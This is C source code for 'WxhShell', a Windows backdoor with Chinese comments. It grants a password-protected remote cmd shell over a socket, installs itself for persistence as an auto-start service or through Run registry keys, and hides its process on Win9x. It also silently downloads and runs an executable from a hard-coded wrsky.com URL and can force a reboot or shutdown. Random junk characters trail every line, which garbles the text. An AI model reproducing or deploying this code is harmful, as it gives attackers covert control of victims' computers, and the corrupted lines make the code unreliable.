    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [6_.Y*}N  
    if(Boot(SHUTDOWN))  .P")S|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mU?~s7  
    else { 4dLnX3 v  
    closesocket(wsh); q5'G]j{,Z  
    ExitThread(0); pPo(nH|<  
    } ?_A[E]/H  
    break; 1EC;t1.7  
    } HuU$x;~  
  // 获取shell z\" .(fIV  
  case 's': { tY!l}:E[  
    CmdShell(wsh); ud BIEW,`  
    closesocket(wsh); J[hmY=,  
    ExitThread(0); 'g'RXC}D>  
    break; .s!0S-RkC  
  } '-[hy>t  
  // 退出 Z~8%bfpe  
  case 'x': { m6$&yKQ-=h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DLqH*U  
    CloseIt(wsh); Vwh ;QJxb  
    break; bDJ!Fc/  
    } q1x[hv3 pP  
  // 离开 G e]NA]<  
  case 'q': { u~Po5W/i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r =vY-p  
    closesocket(wsh); 5$HG#2"Kb#  
    WSACleanup(); R9 #ar{  
    exit(1); ~_N,zw{x  
    break; ^" 54Q^SH  
        } U1E@pDH  
  } v {uq  
  } 2 rf8)8':  
n8_X<jIp3  
  // 提示信息 =N{?ll6x7g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :l!sKT?:d!  
} l>pB\<LL  
  } xRhGBb{@s  
oq!\100  
  return; K\XQ E50  
} :( m, 06K  
]y=U"g  
// shell模块句柄 ?Fn y_{&^H  
int CmdShell(SOCKET sock) ort*Ux)  
{ CsycR@[  
STARTUPINFO si; ?YZgH>7"  
ZeroMemory(&si,sizeof(si)); q0Q[]|L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "RK"Pn+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mog [,{w  
PROCESS_INFORMATION ProcessInfo; C,W_0= !e  
char cmdline[]="cmd"; A:GqR;;"x>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .PVYYhrt  
  return 0; Y9<[n)>+  
} +ZW>JjP*  
iQ8{N:58DN  
// 自身启动模式 -Pt E+R[A  
int StartFromService(void) R+(f~ j'  
{ 3ej237~F,L  
typedef struct ~/-SKGzo-  
{ ;nW;M 4{  
  DWORD ExitStatus; R3lZ|rxv:  
  DWORD PebBaseAddress; JQ0Z%;"  
  DWORD AffinityMask; Y,Z$U| U  
  DWORD BasePriority; stUv!   
  ULONG UniqueProcessId; hLgX0QV  
  ULONG InheritedFromUniqueProcessId; GQY" +xa8]  
}   PROCESS_BASIC_INFORMATION; jLI1Ed  
y] D\i5Xv  
PROCNTQSIP NtQueryInformationProcess; &&P9T/Zks  
uj.$GAtO)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $p0D9mF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r /a@ x9  
gL&w:_  
  HANDLE             hProcess; Tc||96%2^  
  PROCESS_BASIC_INFORMATION pbi; vnQFq  
f~a 7E;y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P[q>;Fx*  
  if(NULL == hInst ) return 0; %#v$d  
6wwbH}*=?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NcF>}f,}\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $3>Rw/,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S}U_uZ$b  
Sq_.RU  
  if (!NtQueryInformationProcess) return 0; ciml:"nQ  
c|9g=DjK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a]V8F&)g#  
  if(!hProcess) return 0; <@ ts[p.  
l:e C+[_;>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~zac.:a8  
i*mU<:t  
  CloseHandle(hProcess); kJf0..J[#<  
8\' tfHL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hOZTD0  
if(hProcess==NULL) return 0; $A{$$8P  
f:~G)  
HMODULE hMod; /N*<Fq7w~  
char procName[255]; Nh^I{%.x  
unsigned long cbNeeded; UV}:3c6ZX  
:M{ )&{D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HP[B%  
{-me;ayk  
  CloseHandle(hProcess); @^YXE,  
'R+^+urq^  
if(strstr(procName,"services")) return 1; // 以服务启动 VpHwc!APq  
DGCvH)Q  
  return 0; // 注册表启动 ((`{-y\K  
} e#h&Xa  
9M9Fif.  
// 主模块 lg$aRqI29  
int StartWxhshell(LPSTR lpCmdLine) f~P YK  
{ |&Mo Qxw@  
  SOCKET wsl; TK' 5NM+4  
BOOL val=TRUE; "A~dt5GJ  
  int port=0; WeH_1$n5  
  struct sockaddr_in door; W[)HFh(#  
hkb\ GcOj  
  if(wscfg.ws_autoins) Install(); }DjVZ48  
oowofi(E  
port=atoi(lpCmdLine); {%>~ ]9E  
gE@Pb  
if(port<=0) port=wscfg.ws_port; dS 4/spNq  
FN!?o:|(  
  WSADATA data; Eb9h9sjv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; URm<Ji  
H9TeMY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ",gVo\^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fmv:vs /9  
  door.sin_family = AF_INET; ]$ s)6)kW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t-C|x)J+  
  door.sin_port = htons(port); ]Bf1p  
>E4,zs@7t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |iBf6smF  
closesocket(wsl); CT|0KB&  
return 1; UQh.o   
} 8h|}Q_  
sRcd{)|Cq  
  if(listen(wsl,2) == INVALID_SOCKET) { x<!]#**;  
closesocket(wsl); wj}LVyV  
return 1; oP56f"BE(  
} !L9|iC:8  
  Wxhshell(wsl); ?OnL,y|  
  WSACleanup(); vS5}OV  
`&fW<5-  
return 0; =d5;F`m  
>T [Y>]  
} `fEzE\\!*  
[|*7"Q(  
// 以NT服务方式启动 u?SwGXi~8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cOpe6H6,bz  
{ ,R-k]^O  
DWORD   status = 0; xu-bn  
  DWORD   specificError = 0xfffffff; RE4#a 2  
RF2I_4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I(BJ1 8F$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wY\,b*x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dI7rx+L  
  serviceStatus.dwWin32ExitCode     = 0; [>p!*%m  
  serviceStatus.dwServiceSpecificExitCode = 0; ( EJ1g^|"  
  serviceStatus.dwCheckPoint       = 0; ;5\'PrE  
  serviceStatus.dwWaitHint       = 0; mGDc,C=5:  
Nes|4Z<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C "@>NC_  
  if (hServiceStatusHandle==0) return; V!]|u ^4I  
_I'k&R  
status = GetLastError(); y7 #+VF`xf  
  if (status!=NO_ERROR) k3B_M9>!  
{ ; t9_*)[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y}.f&rLe  
    serviceStatus.dwCheckPoint       = 0; 4j'rbbs/  
    serviceStatus.dwWaitHint       = 0; AdDR<IW  
    serviceStatus.dwWin32ExitCode     = status; 5 8;OTDR!  
    serviceStatus.dwServiceSpecificExitCode = specificError; f&5S`}C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I'{Ctc  
    return; (HeSL),1  
  } Pr%KcR ;  
E,?IIRg&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zp f<!x^  
  serviceStatus.dwCheckPoint       = 0; Wy6a4oY  
  serviceStatus.dwWaitHint       = 0; ~0-)S@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pl,XS6mB  
} j&S.k  
16I[z+RG  
// 处理NT服务事件,比如:启动、停止 9&^5!R8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yCkc3s|DA;  
{ -9+$z|K  
switch(fdwControl) a $'U?%  
{ p8.JJt^  
case SERVICE_CONTROL_STOP: a|t{1]^w`  
  serviceStatus.dwWin32ExitCode = 0; K`X'Hg#_P2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zD8$DG8  
  serviceStatus.dwCheckPoint   = 0; o\it]B  
  serviceStatus.dwWaitHint     = 0; #H Jlm1d  
  { Z&H_+u3j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /\Xe '&  
  } fYZd:3VdC  
  return; !JDuVqW  
case SERVICE_CONTROL_PAUSE: #H~$^L   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QRl+7V  
  break; d?YSVmG  
case SERVICE_CONTROL_CONTINUE: sL TQm*jL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qycf;Kl:6  
  break; nZNS}|6  
case SERVICE_CONTROL_INTERROGATE: /u]#dX5  
  break; =$^}"}$  
}; M54czo=l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZK2&l8  
} Fpn'0&~-fi  
J]S6%omp>  
// 标准应用程序主函数 oLlfqV,|L\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]1GyEr:  
{ 9$[MM*r  
xo ^|d3  
// 获取操作系统版本 d,meKQ n  
OsIsNt=GetOsVer(); :D2GLq*\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !]mo.zDSW5  
Q9p2.!/C1  
  // 从命令行安装 kMEXgzl  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3ErV" R4"$  
N@'l: N'f4  
  // 下载执行文件 ' MyJw*%b]  
if(wscfg.ws_downexe) { Ya<KMBi3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q]!FFi{w;  
  WinExec(wscfg.ws_filenam,SW_HIDE); &DtI+ )[|  
} 6y`FW[  
:TnU}i_/h  
if(!OsIsNt) { zC[LcC*+J  
// 如果时win9x,隐藏进程并且设置为注册表启动 w*@9:+  
HideProc(); I~"l9Jc!"  
StartWxhshell(lpCmdLine); ?6N\AM '  
} 7uv"#mq  
else w}07u5  
  if(StartFromService()) Ut1s~b1  
  // 以服务方式启动 ~Lu,jLKL=[  
  StartServiceCtrlDispatcher(DispatchTable); Ew{N 2  
else trLxg H_Y  
  // 普通方式启动 }VH2G94Ll  
  StartWxhshell(lpCmdLine); w+\RSqz/  
R[vX+d!7  
return 0; T I ZkN6  
} `-W4/7  
NFur+zwv  
Vj)"?|V  
\0qFOjVj  
=========================================== & }"I!  
[5b[ztN%  
0U.Ld:  
@JP6F[d  
Skux&'N:  
!([v=O#  
" 2Qp]r+!  
C<^S$  
#include <stdio.h> b3GTsX\2|  
#include <string.h> &s\,+d0  
#include <windows.h> ^b.fci{1m  
#include <winsock2.h> <X97W\  
#include <winsvc.h> +@@( C9  
#include <urlmon.h> 5':j=KQE_  
h=NXU9n%'  
#pragma comment (lib, "Ws2_32.lib") 4dSAGLpp  
#pragma comment (lib, "urlmon.lib") 6,R<8a;Wn  
>Ij# +=  
#define MAX_USER   100 // 最大客户端连接数 l,b_' m@  
#define BUF_SOCK   200 // sock buffer t#]VR7]  
#define KEY_BUFF   255 // 输入 buffer t3Iij0b~  
dW^#}kN7V  
#define REBOOT     0   // 重启 ~ :B/`1[m  
#define SHUTDOWN   1   // 关机 0R&7vn  
3`"k1W  
#define DEF_PORT   5000 // 监听端口 hGUQdTNP  
un,W{*s8*  
#define REG_LEN     16   // 注册表键长度 8h|~>v  
#define SVC_LEN     80   // NT服务名长度 ]HG> Og  
MAc/ T.[  
// 从dll定义API ~~ty9;KYL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^M1O)   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xkaed  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ; Oz p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fX&g. fH  
Hu!<GB~  
// wxhshell配置信息 B=%YD"FAv  
struct WSCFG { N,cj[6;T%  
  int ws_port;         // 监听端口 Tl^)O^/  
  char ws_passstr[REG_LEN]; // 口令 4)N~*+~\h  
  int ws_autoins;       // 安装标记, 1=yes 0=no g-+/zEOUS  
  char ws_regname[REG_LEN]; // 注册表键名 kw1Lm1C  
  char ws_svcname[REG_LEN]; // 服务名 LyNur8 Zi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x1#6~283  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )YLZ"@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 # kmI#W"^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6<n+p'+n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ia-&?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,=}+.ax  
wqXo]dX  
}; baf@"P9@\A  
V Z60   
// default Wxhshell configuration 6lxZo_  
struct WSCFG wscfg={DEF_PORT, dSzq}w4xY  
    "xuhuanlingzhe", k0DX|O8mXV  
    1, OadGwa\:s  
    "Wxhshell", )q%DRLD'G  
    "Wxhshell", @hOY&  
            "WxhShell Service", LFQP ysC  
    "Wrsky Windows CmdShell Service", DJNM =v  
    "Please Input Your Password: ", 16N`xw+{  
  1, Vao3 &#D8  
  "http://www.wrsky.com/wxhshell.exe", As#/ln$nE  
  "Wxhshell.exe" )|S!k\^A  
    }; ~eGtoEY  
Jz_`dLL^ w  
// 消息定义模块 s3gT6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; & =vi]z:[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z#olKBs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `XbV*{7  
char *msg_ws_ext="\n\rExit."; C5#$NV99p  
char *msg_ws_end="\n\rQuit."; :Us NiR=l  
char *msg_ws_boot="\n\rReboot..."; 8DlRD$_:&  
char *msg_ws_poff="\n\rShutdown..."; of.=n  
char *msg_ws_down="\n\rSave to "; }j#c#''i  
qIgb;=V  
char *msg_ws_err="\n\rErr!"; UrB {jS?  
char *msg_ws_ok="\n\rOK!"; |F>'7JJJ  
eN I6V/\`  
char ExeFile[MAX_PATH]; uacVF[9|W  
int nUser = 0; , @6_sl  
HANDLE handles[MAX_USER]; eZRu{`AF*  
int OsIsNt; J,wpY$93  
()@+QE$  
SERVICE_STATUS       serviceStatus; zDA;FKZPp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e5cvmUF_W  
/ =:X,^"P  
// 函数声明 c< g{ &YJ  
int Install(void); j}DG +M  
int Uninstall(void); p4wXsOQ}  
int DownloadFile(char *sURL, SOCKET wsh); 5A"OL6ty  
int Boot(int flag); '\Hh  
void HideProc(void); |Ns[{/  
int GetOsVer(void); Qc"UTvq  
int Wxhshell(SOCKET wsl); I78huYAYA  
void TalkWithClient(void *cs); 0SWec7G  
int CmdShell(SOCKET sock); nSV OS6  
int StartFromService(void); PF/eQZ*4  
int StartWxhshell(LPSTR lpCmdLine); 25`6V>\  
(K->5rSU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^<'=]?xr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =wX(a  
W-@}q}A  
// 数据结构和表定义 l8ZzKb-  
SERVICE_TABLE_ENTRY DispatchTable[] = &]HY:  
{ 62%=%XD  
{wscfg.ws_svcname, NTServiceMain}, #s^~'2^%4  
{NULL, NULL} pD%Pg5p`  
}; v`pIovn  
H!dg(d^  
// 自我安装 HrQft1~N  
int Install(void) djtCv;z  
{ F:rT.n  
  char svExeFile[MAX_PATH]; c4n]#((%a  
  HKEY key; ?i7}d@636  
  strcpy(svExeFile,ExeFile); YXhxzH hPd  
keWqL]  
// 如果是win9x系统,修改注册表设为自启动 2p|[yZ  
if(!OsIsNt) { 'I roQ M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ojZvgF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V,)bw  
  RegCloseKey(key);  h48 jKL(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { seEG~/U<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3]}wZY0  
  RegCloseKey(key); } ^67HtNQ  
  return 0; 8DP] C9  
    } $ @cg+Xrg1  
  } w#M66=je_  
} E%6}p++  
else { 7nAB^~)6l  
Z-,' M tD  
// 如果是NT以上系统,安装为系统服务 k~ZE4^dM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9.qjEe  
if (schSCManager!=0) zQQ=8#]  
{ p$ %D  
  SC_HANDLE schService = CreateService ACcxQK}  
  ( V/}g'_E  
  schSCManager, z<c@<M=Q*  
  wscfg.ws_svcname, ZkZTCb`/l  
  wscfg.ws_svcdisp, 48 `k"Uy   
  SERVICE_ALL_ACCESS, 6{p] cr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c31k%/.  
  SERVICE_AUTO_START, m#a0HH  
  SERVICE_ERROR_NORMAL, z tLP {q#  
  svExeFile, 4=E9$.3a  
  NULL, kG>d^K  
  NULL, ^ LT KX`p  
  NULL, \-B8`ah  
  NULL, J2W:Q  
  NULL R4Vi*H  
  ); {m/h3hjFa  
  if (schService!=0) ]N+(SU  
  { WM_wkvY l  
  CloseServiceHandle(schService); 'X$2gD3c9  
  CloseServiceHandle(schSCManager); g~JN"ap  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %4~2  
  strcat(svExeFile,wscfg.ws_svcname); ], HF) 21  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q'%-8t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <k0$3&D  
  RegCloseKey(key); se1\<YHDS  
  return 0; z\fmwI  
    } - W5ml @  
  }  k_;+z  
  CloseServiceHandle(schSCManager); xu _:  
}  X)^kJ`  
} w{1DwCLKq  
MwN.Ll  
return 1; B~oc.s g  
} Lgh. 1foK  
&nk[gb o\  
// 自我卸载 @3hA\3ot^  
int Uninstall(void) ~al4`:rRx1  
{ ivKhzU+  
  HKEY key; YVMwb@|  
GDgq 4vfj  
if(!OsIsNt) { V~> x \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WML%yO\.;  
  RegDeleteValue(key,wscfg.ws_regname); kCWaji_x%  
  RegCloseKey(key); <TL!iM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l H@hV  
  RegDeleteValue(key,wscfg.ws_regname); J~3+j6?%  
  RegCloseKey(key); 6 ZutU ~HS  
  return 0; /K{` gc  
  } FCu0)\  
} )!:}R}q  
} 7n,*3;I  
else { Vnu*+  
#3l&N4/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j~d<n_   
if (schSCManager!=0) 8%qHy1  
{ `J%iFm/5*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H]7MNY  
  if (schService!=0) 1/O7K R`K  
  { tiI:yq0  
  if(DeleteService(schService)!=0) { $d]3ek/  
  CloseServiceHandle(schService); +5|wd6  
  CloseServiceHandle(schSCManager); J_]B,' 6  
  return 0; bF5mCR:  
  } ,,hW|CmN30  
  CloseServiceHandle(schService); h7iI=[_V  
  } ?=X G#we  
  CloseServiceHandle(schSCManager); DeTx7i0  
} xWv@PqXD  
} WQ(*A $  
dvWQ?1l_  
return 1; T( UPWsj  
} &\Es\qVSf  
&R\t<X9 n  
// 从指定url下载文件 a9hK8e  
int DownloadFile(char *sURL, SOCKET wsh) Sl,\  <a  
{ 7$8YBcZ6  
  HRESULT hr; " Zo<$p3]  
char seps[]= "/"; h/7m.p]  
char *token; ^h}xFiAV#  
char *file; bG`aF*10)!  
char myURL[MAX_PATH]; +}eGCZra  
char myFILE[MAX_PATH]; rq;Xcc  
&R? \q*  
strcpy(myURL,sURL); oDtgB O<  
  token=strtok(myURL,seps); !Nu ~4  
  while(token!=NULL) Z%]s+V)st  
  { \OV><|Lkh  
    file=token; sYQ=nL  
  token=strtok(NULL,seps); vhA 4ol  
  } 0}a="`p#<  
>h?!6L- d  
GetCurrentDirectory(MAX_PATH,myFILE); S${n:e0\  
strcat(myFILE, "\\"); IkzY   
strcat(myFILE, file); _O76Aw-@l  
  send(wsh,myFILE,strlen(myFILE),0); Sm@T/+uG:  
send(wsh,"...",3,0); n-/ {H4\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cO]_5@#f'8  
  if(hr==S_OK) $e bx  
return 0; |yqL0x0\l  
else jea{BhdUr  
return 1; I\%a<  
S?ypka"L  
} '&XL|_Iq  
w}wABO  
// 系统电源模块 Y8 c#"vm(  
int Boot(int flag) WInfn f+'  
{ x4$#x70?  
  HANDLE hToken; Y[=X b  
  TOKEN_PRIVILEGES tkp; 8F?6Aq1B  
F/91Es  
  if(OsIsNt) { l[Hgh,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `eD70h`XK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T d E.e(  
    tkp.PrivilegeCount = 1; g j(|#n5C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fx6c*KNX3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =l7@YCj5c  
if(flag==REBOOT) { - '<K_e;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I?2S{]!?  
  return 0; /I`A wCx  
} MLbmz\8a  
else { xSnkv,my<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k0@b"y*  
  return 0; P2U^%_~  
}  `7v"(  
  } >(>,*zP<9  
  else { xL-]gwq  
if(flag==REBOOT) { >S<`ri'5_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {5%u G2g  
  return 0; 8dgi"/[3  
} FX"j8i/N  
else { V7+fNr]I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rm^3K   
  return 0; uq.!{3)8  
} ~pv|  
} Y (a0*fh  
>s 5i  
return 1; Wu}84W"!.V  
} 16J" QUuG  
><t4 f(d  
// win9x进程隐藏模块 8>\tD  
void HideProc(void) /0.m|Th'm  
{ A_:CGtv:  
Mm&#I[:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8-s7^*!  
  if ( hKernel != NULL ) GkOZ =ej  
  { `#/0q*$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T[M:%vjYF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VLdQXNg9W"  
    FreeLibrary(hKernel); y.iA]Ikz  
  } wFe?0u  
Gx&o3^t  
return; QfdATK P  
} ^x BQ#p  
(_9u<  
// 获取操作系统版本 W 'w{}|  
int GetOsVer(void) ^k* h  
{ \LN!k-c  
  OSVERSIONINFO winfo; *n"{]tj^>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zwLJ|>  
  GetVersionEx(&winfo); W@b Z~Q9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HX)oN8  
  return 1; iE6?Px9]  
  else uZ1b_e0SGu  
  return 0; |c<h& p  
} b.N$eJlQ&  
[}mx4i  
// 客户端句柄模块 JZ l"k  
int Wxhshell(SOCKET wsl) 6Z}8"VJr {  
{ ,8tk]W[C  
  SOCKET wsh; ro %Jg  
  struct sockaddr_in client; l;~b:[r  
  DWORD myID; 8q}955Nl  
4X}.aZO&b  
  while(nUser<MAX_USER) yhuzjn  
{ M:PEY*4H  
  int nSize=sizeof(client); H Q_IQ+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D&dh>Pe1;  
  if(wsh==INVALID_SOCKET) return 1; ^t 2b`n60  
6E)emFkQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TJO?BX_9  
if(handles[nUser]==0) rk E;OU  
  closesocket(wsh); iAl.(j  
else j;7:aM"BQW  
  nUser++; * ^+]`S  
  } j5Cf\*B4J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hFQ*50n}  
]B2%\}c  
  return 0; k#oe:u`<  
} 'PS_|zI  
)8Q;u8jm1  
// 关闭 socket j*6>{_[  
void CloseIt(SOCKET wsh) wni^qs.i@3  
{ +lhjz*0  
closesocket(wsh); ZL7#44  
nUser--; +I <^w)  
ExitThread(0); "Dt: 8Nf^  
} Q"Pl)Q\  
x@p1(V.  
// 客户端请求句柄 u]766<Z  
void TalkWithClient(void *cs) ]YciLc(  
{ {0o ,2]o!:  
 >7$h  
  SOCKET wsh=(SOCKET)cs; <K:L.c!  
  char pwd[SVC_LEN]; {Qf/.[  
  char cmd[KEY_BUFF]; 9<|nJt  
char chr[1]; H "; !A=0  
int i,j; l:.q1UV  
G'<Ie@$6l  
  while (nUser < MAX_USER) { .3 S9=d?  
!^x;4@Ejm  
if(wscfg.ws_passstr) { d(_;@%p1X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j9 d^8)O,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A=f)ntH~  
  //ZeroMemory(pwd,KEY_BUFF); Y(<(!TJ-  
      i=0; ]}Jb'(gMO4  
  while(i<SVC_LEN) { J5zKwt  
o]<@E uG  
  // 设置超时 {5NE jUu{j  
  fd_set FdRead; Jwtt&" c0.  
  struct timeval TimeOut; B;A< pNT  
  FD_ZERO(&FdRead); C9j3|]nyL  
  FD_SET(wsh,&FdRead); L2Z-seE  
  TimeOut.tv_sec=8; |I2~@RfpO:  
  TimeOut.tv_usec=0; +Y_]<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <*@!>6mS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r @URs;O=  
PN"=P2e/ 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -%_vb6u  
  pwd=chr[0]; .P(A x:g  
  if(chr[0]==0xd || chr[0]==0xa) { -\[&<o@/D  
  pwd=0; 9zD,z+  
  break; ,7n8_pU  
  } 6sQY)F7p  
  i++; (Rs|"];?Z  
    } c?%}J\<n  
nj <nW5[  
  // 如果是非法用户,关闭 socket G Tz>}@W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mcb|N_#n/  
} (,j ~s{  
hbSXa'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h @2.D|c)g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [2.;gZj  
n48%Uwa,  
while(1) { ) :st-I!o  
WxJV zHtR  
  ZeroMemory(cmd,KEY_BUFF); El^V[s'3  
EG J/r  
      // 自动支持客户端 telnet标准   >*1YL)DBT\  
  j=0; QD;:!$Du  
  while(j<KEY_BUFF) { k0IztFyj:R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ``,q[|  
  cmd[j]=chr[0]; e% #?B *  
  if(chr[0]==0xa || chr[0]==0xd) { ?2<V./2F  
  cmd[j]=0; D}/nE>*  
  break; A(1WQUu j  
  } fU>4Ip1?y/  
  j++;  (2dkmn  
    } |H'wDw8  
H03R?S9AQ  
  // 下载文件 P0l.sVqL  
  if(strstr(cmd,"http://")) { *EF`s~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :+v4,=fHy  
  if(DownloadFile(cmd,wsh)) o<L=l Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _}l7f  
  else X_(n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|/VD'xV"  
  } -cB>; f)5r  
  else { ]owcx=5q%'  
